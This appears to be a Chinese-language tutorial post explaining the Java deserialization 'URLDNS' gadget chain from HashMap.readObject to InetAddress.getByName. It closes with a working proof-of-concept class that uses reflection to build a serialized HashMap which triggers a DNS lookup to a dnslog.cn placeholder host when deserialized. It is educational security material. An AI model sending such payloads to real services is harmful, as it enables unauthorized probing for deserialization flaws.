前言
这个链虽然没有什么危害,但是它是最简单的一条链,能够帮助我们学习java反序列化
分析链子
首先我们需要找到入口类,就是重写了readobject方法的类,一般我们中意HashMap的readObject()方法
我们发现它在循环读取键值的时候会调用hash方法
我们追到hash方法
发现会调用传入对象的hashcode方法,而且对象可以控制
我们一般希望出口类是runtime,这里我们的出口是url类
我们首先看到url类
发现它也有hashcode方法
会先判断当前URL对象的hashCode是否为-1,不为-1则直接返回hashCode,如果为-1,则进入到handler.hashCode()方法。这里的-1为URL对象hashCode 的初始值,handler为URLStreamHander 对象,且带有transient,即不参与序列化
我们继续跟进handler.hashCode()
调用了getHostAddress()方法,看方法名是获取主机地址,继续跟进
看到InetAddress.getByName(host),看方法名是根据主机名字获取网络地址,这不就是一个DNS请求么?跟到这里就不需要再跟了。这就是URLDNS链了。
现在我们来总结分析一下这个链子
首先是反序列化进入hashmap的readobject方法,然后会调用hash方法,hash方法会传入一个对象,调用对象的hashcode,正好url里有hashcode,然后url的这个方法会调用handler.hashCode(),handler.hashCode()中会调用getHostAddress()方法,法会使用InetAddress.getByName(host)方法即根据主机名字获取网络地址,从而触发了DNS请求。
HashMap.readObject() -> HashMap.putVal() -> HashMap.hash()
-> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName
我们写一下poc
有一些细节的东西
如果我们不把hashcode设置的话
hashmap利用put存入数据的时候也会调用putVal函数,从而也进入上面的利用链
这就导致我们在生成payload的时候就会进行一次dns查询,为了能看清是反序列化造成的dns请求,这里需要规避一下生成payload时的dns请求。
我们只需要在调用链的其中一步将其阻止就行。这里可以看到先判断hashcode值是否为-1,如果不是就直接返回,从而不会执行到handler.hashcode。但是上面分析过hashcode是一个私有变量不能设置,所以这里可以通到反射将其强制转换为公有的,然后设置成其他值。这样链子就会在URL->hashcode处断掉,从而就不会调用gethostbyname了。
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://xxx.dnslog.cn/");
Class clas = Class.forName("java.net.URL");
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,123); //将url的hashcode属性改为123使其不等于-1
map.put(url,"2333"); //这里的value用不上,随便设置
field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashcode
try {
//序列化
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
//反序列化,此时触发dns请求
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}